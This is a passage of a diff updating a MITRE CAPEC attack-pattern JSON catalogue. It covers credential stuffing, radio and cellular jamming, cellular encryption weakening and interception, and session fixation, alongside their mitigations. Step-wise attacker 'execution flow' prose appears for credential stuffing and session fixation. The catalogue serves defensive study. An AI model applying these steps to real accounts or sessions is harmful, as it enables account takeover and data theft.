"http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Credential Stuffing", + "url": "https://attack.mitre.org/wiki/Technique/T1110/004", + "external_id": "T1110.004" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Alert (TA18-086A): Brute Force Attacks Conducted by Cyber Actors, 2018--03---27, Cybersecurity and Infrastructure Security Agency (CISA)", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "external_id": "REF-567" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Credential stuffing, Open Web Application Security Project (OWASP)", + "url": "https://owasp.org/www-community/attacks/Credential_stuffing", + "external_id": "REF-568" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Jessica Silver-Greenberg, Matthew Goldstein, Nicole Perlroth, JPMorgan Chase Hacking Affects 76 Million Households, 2014--10---02, The New York Times", + "url": "https://dealbook.nytimes.com/2014/10/02/jpmorgan-discovers-further-cyber-security-issues/", + "external_id": "REF-569" + } + ], + "x_capec_likelihood_of_attack": "High", + "x_capec_typical_severity": "High", + "x_capec_prerequisites": [ + "The system/application uses one factor password based authentication, SSO, and/or cloud-based authentication.", + "The system/application does not have a sound password policy that is being enforced.", + "The system/application does not implement an effective password throttling mechanism.", + "The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target." + ], + "x_capec_skills_required": { + "Low": "A Credential Stuffing attack is very straightforward." + }, + "x_capec_resources_required": [ + "A machine with sufficient resources for the job (e.g. CPU, RAM, HD).", + "A known list of username/password combinations.", + "A custom script that leverages the credential list to launch the attack." + ], + "x_capec_consequences": { + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_abstraction": "Standard", + "x_capec_example_instances": [ + "A user leverages the password \"Password123\" for a handful of application logins. An adversary obtains a victim's username/password combination from a breach of a social media application and executes a Credential Stuffing attack against multiple banking and credit card applications. Since the user leverages the same credentials for their bank account login, the adversary successfully authenticates to the user's bank account and transfer money to an offshore account.", + "In October 2014 J.P. Morgan's Corporate Challenge website was breached, resulting in adversaries obtaining multiple username/password pairs. A Credential Stuffing attack was then executed against J.P. Morgan Chase, which resulted in over 76 million households having their accounts compromised." + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known credentials: The adversary must obtain known credentials in order to access the target system, application, or service.

    2. Techniques
    An adversary purchases breached username/password combinations or leaked hashed passwords from the dark web.
    An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.
    An adversary conducts a sniffing attack to steal credentials as they are transmitted.
    An adversary gains access to a database and exfiltrates password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.

  2. Determine target's password policy: Determine the password policies of the target system/application to determine if the known credentials fit within the specified criteria.

    3. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks if multiple passwords are known for a single user account).

Experiment

  1. Attempt authentication: Try each username/password combination until the target grants access.

    2. Techniques
    Manually or automatically enter each username/password combination through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system or to laterally move within a system or application

  2. Spoofing: Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within the system or application.

", + "x_capec_status": "Stable", + "x_capec_version": "3.3", + "type": "attack-pattern", + "id": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--c4ceb80d-d66e-40ed-8041-badec381e5b7", + "source_ref": "course-of-action--b8f274c3-95ed-4968-afdc-6a8a87a6fb19", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--5041416c-f169-4ccd-a849-d3df74a189c9", + "source_ref": "course-of-action--93ed0e66-1693-44b2-b416-bee8db1ad4c2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--31e79d3e-c3fa-47e2-9e66-4fec40ce3d44", + "source_ref": "course-of-action--f17a2576-00f1-49a8-b554-5ec205ca54a2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--46e1f0c5-b178-4459-96f1-6522f4e3e9ab", + "source_ref": "course-of-action--7c813ade-2f68-46ad-b0ff-b3aa1d6f16d0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--c5bcb0cc-37a1-46f8-8b46-cd63f87de636", + "source_ref": "course-of-action--8e39cc3a-64c4-488e-84a3-e2613bdb1254", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--3123edea-0c54-4b71-be21-4d83cea9c940", + "source_ref": "course-of-action--9d97f821-8b04-46bf-a725-33db09a739da", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--5589acda-9084-4d60-a9f7-5bb13e6d9196", + "source_ref": "course-of-action--36387909-c46a-4d0f-8954-bbc4c954c9a9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--ba6343af-b630-429a-b10a-f9e9ac7ff6a2", + "source_ref": "course-of-action--ab6c4df3-7bf9-4fdd-8c2a-9055c0aea441", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a" + }, + { + "id": "attack-pattern--7534fc4c-f683-4918-8f62-005e0402d18a", "name": "Jamming", "description": "An adversary uses radio noise or signals in an attempt to disrupt communications. By intentionally overwhelming system resources with illegitimate traffic, service is denied to the legitimate traffic of authorized users.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36684,11 +40251,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7534fc4c-f683-4918-8f62-005e0402d18a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--2fb09678-092a-490d-b2da-fff20a696219", "name": "DEPRECATED: Degradation", "description": "This attack pattern has been deprecated.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36706,11 +40273,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2fb09678-092a-490d-b2da-fff20a696219" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--ec0de204-6b66-4c4f-a401-21afa72f3941", "name": "Blockage", "description": "An adversary blocks the delivery of an important system resource causing the system to fail or stop working.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36738,11 +40305,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ec0de204-6b66-4c4f-a401-21afa72f3941" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--bac3d2d8-864c-4519-8e16-6d4e4fee6031", "name": "Wi-Fi Jamming", "description": "In this attack scenario, the attacker actively transmits on the Wi-Fi channel to prevent users from transmitting or receiving data from the targeted Wi-Fi network. There are several known techniques to perform this attack \u2013 for example: the attacker may flood the Wi-Fi access point (e.g. the retransmission device) with deauthentication frames. Another method is to transmit high levels of noise on the RF band used by the Wi-Fi network.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36775,11 +40342,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--bac3d2d8-864c-4519-8e16-6d4e4fee6031" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--60934a01-b877-4253-9984-be3bf3629ab7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -36788,23 +40355,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Countermeasures have been proposed for both disassociation flooding and RF jamming, however these countermeasures are not standardized and would need to be supported on both the retransmission device and the handset in order to be effective. Commercial products are not currently available that support jamming countermeasures for Wi-Fi.", - "type": "course-of-action", - "id": "course-of-action--60934a01-b877-4253-9984-be3bf3629ab7" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--52128fa2-afdb-4097-bdd6-8f3b3095fc56", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--52128fa2-afdb-4097-bdd6-8f3b3095fc56", "source_ref": "course-of-action--60934a01-b877-4253-9984-be3bf3629ab7", "relationship_type": "mitigates", "target_ref": "attack-pattern--bac3d2d8-864c-4519-8e16-6d4e4fee6031" }, { + "id": "attack-pattern--17593c9a-d8a0-4ef3-8da1-9d948426bbb8", "name": "Cellular Jamming", "description": "In this attack scenario, the attacker actively transmits signals to overpower and disrupt the communication between a cellular user device and a cell tower. Several existing techniques are known in the open literature for this attack for 2G, 3G, and 4G LTE cellular technology. For example, some attacks target cell towers by overwhelming them with false status messages, while others introduce high levels of noise on signaling channels.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36834,11 +40403,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--17593c9a-d8a0-4ef3-8da1-9d948426bbb8" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--5afa1aa9-7585-4544-991c-9152f9024393", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -36847,23 +40416,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Mitigating this attack requires countermeasures employed on both the retransmission device as well as on the cell tower. Therefore, any system that relies on existing commercial cell towards will likely be vulnerable to this attack. By using a private cellular LTE network (i.e., a custom cell tower), jamming countermeasures could be developed and employed.", - "type": "course-of-action", - "id": "course-of-action--5afa1aa9-7585-4544-991c-9152f9024393" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--10c74aec-704c-47cf-ae7a-7f2c590c4166", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--10c74aec-704c-47cf-ae7a-7f2c590c4166", "source_ref": "course-of-action--5afa1aa9-7585-4544-991c-9152f9024393", "relationship_type": "mitigates", "target_ref": "attack-pattern--17593c9a-d8a0-4ef3-8da1-9d948426bbb8" }, { + "id": "attack-pattern--4480b2e7-bdb7-45fe-896b-dd895fbe3680", "name": "Weakening of Cellular Encryption", "description": "An attacker, with control of a Cellular Rogue Base Station or through cooperation with a Malicious Mobile Network Operator can force the mobile device (e.g., the retransmission device) to use no encryption (A5/0 mode) or to use easily breakable encryption (A5/1 or A5/2 mode).", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36898,11 +40469,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4480b2e7-bdb7-45fe-896b-dd895fbe3680" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--a04126f1-f0a0-4aa1-99e0-711b2d3e96d7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -36911,23 +40482,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use of hardened baseband firmware on retransmission device to detect and prevent the use of weak cellular encryption.", - "type": "course-of-action", - "id": "course-of-action--a04126f1-f0a0-4aa1-99e0-711b2d3e96d7" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9467c544-8557-428f-9ebe-8a1fcc52a7f9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9467c544-8557-428f-9ebe-8a1fcc52a7f9", "source_ref": "course-of-action--a04126f1-f0a0-4aa1-99e0-711b2d3e96d7", "relationship_type": "mitigates", "target_ref": "attack-pattern--4480b2e7-bdb7-45fe-896b-dd895fbe3680" }, { + "id": "course-of-action--f0d5b9cf-bcc9-4462-a783-d4e7f17ceada", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -36936,23 +40509,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Monitor cellular RF interface to detect the usage of weaker-than-expected cellular encryption.", - "type": "course-of-action", - "id": "course-of-action--f0d5b9cf-bcc9-4462-a783-d4e7f17ceada" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--913cda1e-62b6-4e54-9557-3e3626768a59", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--913cda1e-62b6-4e54-9557-3e3626768a59", "source_ref": "course-of-action--f0d5b9cf-bcc9-4462-a783-d4e7f17ceada", "relationship_type": "mitigates", "target_ref": "attack-pattern--4480b2e7-bdb7-45fe-896b-dd895fbe3680" }, { + "id": "attack-pattern--576968ad-12ef-46d8-bb10-63f496bcaccb", "name": "Obstruction", "description": "An attacker obstructs the interactions between system components. By interrupting or disabling these interactions, an adversary can often force the system into a degraded state or even to fail.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36975,11 +40550,11 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--576968ad-12ef-46d8-bb10-63f496bcaccb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--9dded599-dd66-4a4c-8f17-6afb81c234f8", "name": "Cryptanalysis of Cellular Encryption", "description": "The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile devices.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36987,7 +40562,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -37014,37 +40589,39 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9dded599-dd66-4a4c-8f17-6afb81c234f8" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--75de4a67-623a-4c5a-a757-9f143a48b1d9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--75de4a67-623a-4c5a-a757-9f143a48b1d9", "source_ref": "course-of-action--a04126f1-f0a0-4aa1-99e0-711b2d3e96d7", "relationship_type": "mitigates", "target_ref": "attack-pattern--9dded599-dd66-4a4c-8f17-6afb81c234f8" }, { + "id": "relationship--56a59dd2-1721-46b2-84d7-cdcd15e06ca7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--56a59dd2-1721-46b2-84d7-cdcd15e06ca7", "source_ref": "course-of-action--f0d5b9cf-bcc9-4462-a783-d4e7f17ceada", "relationship_type": "mitigates", "target_ref": "attack-pattern--9dded599-dd66-4a4c-8f17-6afb81c234f8" }, { + "id": "attack-pattern--c7f0c73b-fe94-49c9-89bb-a3ec4441e4ee", "name": "Cellular Traffic Intercept", "description": "Cellular traffic for voice and data from mobile devices and retransmission devices can be intercepted via numerous methods. Malicious actors can deploy their own cellular tower equipment and intercept cellular traffic surreptitiously. Additionally, government agencies of adversaries and malicious actors can intercept cellular traffic via the telecommunications backbone over which mobile traffic is transmitted.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37079,11 +40656,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c7f0c73b-fe94-49c9-89bb-a3ec4441e4ee" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--c7b42679-6d45-41dc-b732-6310e2569805", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -37092,23 +40669,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Encryption of all data packets emanating from the smartphone to a retransmission device via two encrypted tunnels with Suite B cryptography, all the way to the VPN gateway at the datacenter.", - "type": "course-of-action", - "id": "course-of-action--c7b42679-6d45-41dc-b732-6310e2569805" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c4813a8a-b41c-4718-8323-0bdb7fabf19c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c4813a8a-b41c-4718-8323-0bdb7fabf19c", "source_ref": "course-of-action--c7b42679-6d45-41dc-b732-6310e2569805", "relationship_type": "mitigates", "target_ref": "attack-pattern--c7f0c73b-fe94-49c9-89bb-a3ec4441e4ee" }, { + "id": "attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14", "name": "Session Fixation", "description": "The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -37116,7 +40695,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -37178,87 +40757,94 @@ "Consider a banking application that issues a session identifier in the URL to a user before login, and uses the same identifier to identify the customer following successful authentication. An attacker can easily leverage session fixation to access a victim's account by having the victim click on a forged link that contains a valid session identifier from a trapped session setup by the attacker. Once the victim is authenticated, the attacker can take over the session and continue with the same levels of privilege as the victim.", "An attacker can hijack user sessions, bypass authentication controls and possibly gain administrative privilege by fixating the session of a user authenticating to the Management Console on certain versions of Macromedia JRun 4.0. This can be achieved by setting the session identifier in the user's browser and having the user authenticate to the Management Console. Session fixation is possible since the application server does not regenerate session identifiers when there is a change in the privilege levels. See also: CVE-2004-2182" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Setup the Attack: Setup a session: The attacker has to setup a trap session that provides a valid session identifier, or select an arbitrary identifier, depending on the mechanism employed by the application. A trap session is a dummy session established with the application by the attacker and is used solely for the purpose of obtaining valid session identifiers. The attacker may also be required to periodically refresh the trap session in order to obtain valid session identifiers.

    2. Techniques
    The attacker chooses a predefined identifier that they know.
    The attacker creates a trap session for the victim.

Experiment

  1. Attract a Victim: Fixate the session: The attacker now needs to transfer the session identifier from the trap session to the victim by introducing the session identifier into the victim's browser. This is known as fixating the session. The session identifier can be introduced into the victim's browser by leveraging cross site scripting vulnerability, using META tags or setting HTTP response headers in a variety of ways.

    2. Techniques
    Attackers can put links on web sites (such as forums, blogs, or comment forms).
    Attackers can establish rogue proxy servers for network protocols that give out the session ID and then redirect the connection to the legitimate service.
    Attackers can email attack URLs to potential victims through spam and phishing techniques.

Exploit

  1. Abuse the Victim's Session: Takeover the fixated session: Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the fixated session identifier.

    2. Techniques
    The attacker loads the predefined session ID into their browser and browses to protected data or functionality.
    The attacker loads the predefined session ID into their software and utilizes functionality with the rights of the victim.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--b187831e-a53c-465d-b72f-49df78479e67", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-61-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use a strict session management mechanism that only accepts locally generated session identifiers: This prevents attackers from fixating session identifiers of their own choice.", - "type": "course-of-action", - "id": "course-of-action--b187831e-a53c-465d-b72f-49df78479e67" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0d553a19-deeb-45df-b70d-71110b119c7c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0d553a19-deeb-45df-b70d-71110b119c7c", "source_ref": "course-of-action--b187831e-a53c-465d-b72f-49df78479e67", "relationship_type": "mitigates", "target_ref": "attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14" }, { + "id": "course-of-action--606914b1-f22c-4598-a173-6f4546572979", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-61-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Regenerate and destroy session identifiers when there is a change in the level of privilege: This ensures that even though a potential victim may have followed a link with a fixated identifier, a new one is issued when the level of privilege changes.", - "type": "course-of-action", - "id": "course-of-action--606914b1-f22c-4598-a173-6f4546572979" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ad81b2e4-63b4-4d8e-9d96-4db93943afa2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ad81b2e4-63b4-4d8e-9d96-4db93943afa2", "source_ref": "course-of-action--606914b1-f22c-4598-a173-6f4546572979", "relationship_type": "mitigates", "target_ref": "attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14" }, { + "id": "course-of-action--8fc9e23c-7780-4d34-8bd6-01ec3f063b9c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-61-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use session identifiers that are difficult to guess or brute-force: One way for the attackers to obtain valid session identifiers is by brute-forcing or guessing them. By choosing session identifiers that are sufficiently random, brute-forcing or guessing becomes very difficult.", - "type": "course-of-action", - "id": "course-of-action--8fc9e23c-7780-4d34-8bd6-01ec3f063b9c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c6ee9dff-2bc5-4eae-a4d6-b3f868cb8569", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c6ee9dff-2bc5-4eae-a4d6-b3f868cb8569", "source_ref": 